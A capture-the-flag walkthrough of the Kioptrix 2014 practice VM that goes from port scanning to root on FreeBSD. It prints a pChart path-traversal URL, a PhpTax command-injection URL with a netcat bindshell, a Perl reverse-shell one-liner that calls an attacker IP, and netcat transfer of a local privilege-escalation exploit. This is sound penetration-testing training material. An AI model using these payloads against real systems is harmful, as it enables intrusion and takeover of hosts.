Kioptrix 2014 Walkthrough (OSCP Prep)

Introduction

Kioptrix 2014 is the fifth and final machine in the Kioptrix series of vulnerable virtual machines from VulnHub. The box is running FreeBSD and has only two ports open to the outside world.

In this walkthrough, we will work our way from a simple port scan to gaining root access to this machine.

Before We Begin

As with most of the Kioptrix boxes, you will need to modify the network adapter configuration of the VM to use the machine in a non-bridged setup. For more information, refer to my post on fixing the network configuration in Kioptrix.

Tools

Host Discovery

Before beginning the attack, we need to locate the IP address of the target machine:

┌──(ori0n㉿kali)-[~/kioptrix2014]
└─$ nmap -sP -n 10.0.10.0/24 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-04 20:02 CDT
Nmap scan report for 10.0.10.2
Host is up (0.00048s latency).
Nmap scan report for 10.0.10.10
Host is up (0.000042s latency).
Nmap scan report for 10.0.10.105
Host is up (0.00061s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.44 seconds

The Kioptrix VM is running at the address 10.0.10.105. We can add an entry into /etc/hosts so we don’t have to remember this address:

10.0.10.105     kioptrix2014

Scanning and Enumeration

We’ll start by searching for open ports on the box. I prefer using rustscan for the initial port scan.

┌──(ori0n㉿kali)-[~/kioptrix2014]
└─$ rustscan -akioptrix2014 -- -sV -oA scans/nmap-initial
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.105:80
Open 10.0.10.105:8080
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-04 20:03 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 20:03
Scanning 10.0.10.105 [2 ports]
Completed Ping Scan at 20:03, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 20:03
Scanning kioptrix2014 (10.0.10.105) [2 ports]
Discovered open port 80/tcp on 10.0.10.105
Discovered open port 8080/tcp on 10.0.10.105
Completed Connect Scan at 20:03, 0.00s elapsed (2 total ports)
Initiating Service scan at 20:03
Scanning 2 services on kioptrix2014 (10.0.10.105)
Completed Service scan at 20:04, 7.02s elapsed (2 services on 1 host)
NSE: Script scanning 10.0.10.105.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:04
Completed NSE at 20:04, 3.21s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:04
Completed NSE at 20:04, 2.15s elapsed
Nmap scan report for kioptrix2014 (10.0.10.105)
Host is up, received syn-ack (0.00041s latency).
Scanned at 2021-08-04 20:03:59 CDT for 13s

PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open  http    syn-ack Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds

There are only two open ports, and they both appear to be running web servers. Let’s check them out in a browser.

Let’s dig deeper into the port 80 server. View the source code to find an interesting line:

 <!--
  <META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">
  -->

Maybe there is a pChart application running on this server? Navigate to http://kioptrix2014/pChart2.1.3.

Hunting for Entry

File Disclosure in pChart 2.1.3

Let’s see if there are any known exploits for this pChart version:

┌──(ori0n㉿kali)-[~/kioptrix2014]
└─$ searchsploit pchart 2.1.3                                                    
------------------------------------------ -----------------------
 Exploit Title                            |  Path
------------------------------------------ -----------------------
pChart 2.1.3 - Multiple Vulnerabilities   | php/webapps/31173.txt
------------------------------------------ -----------------------
Shellcodes: No Results

Use the searchsploit’s -x option to view the text file: searchsploit -x php/webapps/31173. Notice the directory traversal/file disclosure bug:

[1] Directory Traversal:
"hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"
The traversal is executed with the web server's privilege and leads to
sensitive file disclosure (passwd, siteconf.inc.php or similar),
access to source codes, hardcoded passwords or other high impact
consequences, depending on the web server's configuration.
This problem may exists in the production code if the example code was
copied into the production environment.

This could be useful. Head back to the browser and try to dump the /etc/passwd file using URL: http://kioptrix2014/pChart2.1.3/examples/index.php?Action=View&Script=/etc/passwd.

# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin

The file disclosure works! From the passwd file, we see this box appears to be running FreeBSD 9.0. This will be helpful later so we aren’t left scratching our heads trying to understand why simple common Linux commands are failing.

Next, let’s see if we can examine the webserver configuration. We may then be able to figure out what’s behind port 8080.

A bit of Googling finds the configuration file location.

Now we can read this file with the file disclosure vulnerability. Near the end of this file, we find the virtual host configuration for the server running on port 8080:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

</VirtualHost>

So the port 8080 server will only allow access if our user agent string begins with “Mozilla/4.0”. An easy bypass for this is to use the User-Agent Switcher browser extension. Now we can access port 8080:

Accessing port 8080 with spoofed User-Agent

Navigating to the phptax directory, we are greeted with some kind of tax application.

Remote Command Execution with PhpTax

We’ll run a quick search with searchsploit for any potential exploits.

┌──(ori0n㉿kali)-[~/kioptrix2014]
└─$ searchsploit phptax              
------------------------------------------------------------------- -----------------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- -----------------------
PhpTax - 'pfilez' Execution Remote Code Injection (Metasploit)     | php/webapps/21833.rb
PhpTax 0.8 - File Manipulation 'newvalue' / Remote Code Execution  | php/webapps/25849.txt
phptax 0.8 - Remote Code Execution                                 | php/webapps/21665.txt
------------------------------------------------------------------- -----------------------
Shellcodes: No Results

┌──(ori0n㉿kali)-[~/kioptrix2014]
└─$ searchsploit -x php/webapps/21665    
  Exploit: phptax 0.8 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/21665
     Path: /usr/share/exploitdb/exploits/php/webapps/21665.txt
File Type: ASCII text, with CRLF line terminators

Proof of concept:

Exploit / Proof of Concept:

Bindshell on port 23235 using netcat:

http://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Run this through the browser while proxying through Burp Suite. Then send the request to Burp Repeater to make our lives easier.

We should first test to make sure the command execution is working correctly. To do this, I’ll run a simple command and redirect its output to a file: id > /tmp/id.

Running the command injection test in Burp Repeater

I’ll use Repeater again to read the /tmp/id file that should have been created.

Verifying the command injection test in Burp Repeater

So our command injection is working. Now we let’s get a shell.

Grabbing a Shell

Since this is a BSD system, even if we find netcat, we are probably dealing the with OpenBSD variant. This version, unfortunately, doesn’t include a -e or -c option to execute a shell. Just to be sure, we’ll use the command injection to test this. We’ll run nc -h 2>/tmp/nc.txt. Reading the output, we verify this version of netcat won’t be immediately helpful for spawning a shell:

 usage: nc [-46DdEhklnrStUuvz] [-e policy] [-I length] [-i interval] [-O length]
      [-P proxy_username] [-p source_port] [-s source] [-T ToS]
      [-V rtable] [-w timeout] [-X proxy_protocol]
      [-x proxy_address[:port]] [destination] [port]
    Command Summary:
        -4        Use IPv4
        -6        Use IPv6
        -D        Enable the debug socket option
        -d        Detach from stdin
        -E        Use IPsec ESP
        -e policy    Use specified IPsec policy
        -h        This help text
        -I length    TCP receive buffer length
        -i secs        Delay interval for lines sent, ports scanned
        -k        Keep inbound sockets open for multiple connects
        -l        Listen mode, for inbound connects
        -n        Suppress name/port resolutions
        --no-tcpopt    Disable TCP options
        -O length    TCP send buffer length
        -P proxyuser    Username for proxy authentication
        -p port        Specify local port for remote connects
        -r        Randomize remote ports
        -S        Enable the TCP MD5 signature option
        -s addr        Local source address
        -T ToS        Set IP Type of Service
        -t        Answer TELNET negotiation
        -U        Use UNIX domain socket
        -u        UDP mode
        -V rtable    Specify alternate routing table
        -v        Verbose
        -w secs        Timeout for connects and final net reads
        -X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
        -x addr[:port]    Specify proxy address and port
        -z        Zero-I/O mode [used for scanning]
    Port numbers can be individual or ranges: lo-hi [inclusive]
See ipsec_set_policy(3) for -e argument format

No worries. There are plenty of other ways to get a shell. Check out the PayloadsAllTheThings Reverse Shell Cheat Sheet for a great reference.

First, we’ll see if we have Python or Perl available. Back to the command injection, we’ll use: which python perl > /tmp/out. Reading from /tmp/out, we find Perl at /usr/bin/perl.

So now we need to find a Perl reverse shell. Try the first one listed on the cheat sheet:

perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

We’ll need to modify the $i and $p variables to match our listener’s IP and port number, respectively.

Start up a listener on our attacker. Be sure to use the same IP from the Perl code.

┌──(ori0n㉿kali)-[~/kioptrix2014]
└─$ nc -nlkvp 4242           
Listening on 0.0.0.0 4242

Then head back to burp and use this in our command injection payload.

And we have a shell!

Privilege Escalation

We saw from the passwd file earlier that this box appears to be running FreeBSD 9.0. We can verify this with uname.

$ uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64

We’ll use searchsploit to locate any potential exploits.

┌─(ori0n㉿kali)-[~/kioptrix2014]
└─$ searchsploit freebsd 9.0         
---------------------------------------------------------- ------------------------
 Exploit Title                                            |  Path
---------------------------------------------------------- ------------------------
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation    | freebsd/local/28718.c
FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalat | freebsd/local/26368.c
---------------------------------------------------------- ------------------------
Shellcodes: No Results

Grab the mmap/ptrace exploit with searchsploit -m freebsd/local/26368. Then rename it to something more sensible: exploit.c.

We’ll use netcat to copy the file over to the victim. From the attacker, start a listener and redirect the exploit.c file to its standard input.

┌──(ori0n㉿kali)-[~/kioptrix2014]
└─$ nc -nlvp 5555 < exploit.c
Listening on 0.0.0.0 5555

And on the victim shell, navigate to the /tmp directory and pull down the file with netcat.

$ cd /tmp
$ nc 10.0.10.10 5555 > exploit.c

You’ll have to break the nc process on your attacker (NOT with the victim) with Ctrl-C. Then back on the victim shell, compile and run the exploit.

$ gcc -o exploit exploit.c
exploit.c:89:2: warning: no newline at end of file
$ ./exploit
id
uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)

Rooted!

Capture the “Flag”

With root access, the final order of business is locating the “flag”. This can typically be found in the /root directory, so we’ll navigate there. We find a congrats.txt file. cat it out:

cd /root
ls -l
total 72 
-rw-r--r--  2 root  wheel   793 Jan  3  2012 .cshrc                                                                  
-rw-------  1 root  wheel     0 Apr  6  2014 .history                                                                
-rw-r--r--  1 root  wheel   151 Jan  3  2012 .k5login                                                                
-rw-r--r--  1 root  wheel   299 Jan  3  2012 .login                                                                  
-rw-------  1 root  wheel     1 Mar 30  2014 .mysql_history                                                          
-rw-r--r--  2 root  wheel   256 Jan  3  2012 .profile                                                                
----------  1 root  wheel  2611 Apr  3  2014 congrats.txt                                                            
-rw-r--r--  1 root  wheel   802 Aug  4 22:42 folderMonitor.log                                                       
lrwxr-xr-x  1 root  wheel    25 Mar 29  2014 httpd-access.log -> /var/log/httpd-access.log                           
-rwxr-xr-x  1 root  wheel   574 Apr  3  2014 lazyClearLog.sh                                                         
-rwx------  1 root  wheel  2366 Mar 28  2014 monitor.py                                                              
lrwxr-xr-x  1 root  wheel    44 Mar 29  2014 ossec-alerts.log -> /usr/local/ossec-hids/logs/alerts/alerts.logcat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in 
mind, and not meant for the seasoned pentester. However this does not mean one 
can't enjoy them.

As with all my VMs, besides getting "root" on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and "hope" it works, but think about the traffic.. the logs... Best to take it
slow, and read up on the information you gathered and hopefully craft better
more targetted attacks. 

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won't from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".
It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.

As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.
Default settings, nothing fancy but it should've logged a few of your attacks. Look
at the following files:
/root/folderMonitor.log
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS 
for this.
The httpd-access.log is rather self-explanatory .
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should've detected a few of your web attacks.

Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.

Be good...


loneferret
http://www.kioptrix.com


p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by
default it would've blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part :)

Wrapping Up

Congratulations on making it through Kioptrix 2014, the final box of the Kioptrix line of vulnerable virtual machines.

While these are all older machines, they provide a great starting point for aspiring penetration testers. With the experience gained from these boxes, you will have built a solid foundation to move on to more difficult and more modern machines.

If you are on a path to the OSCP and need ideas for more practice boxes to hone your skills, check out the NetSecFocus Trophy Room.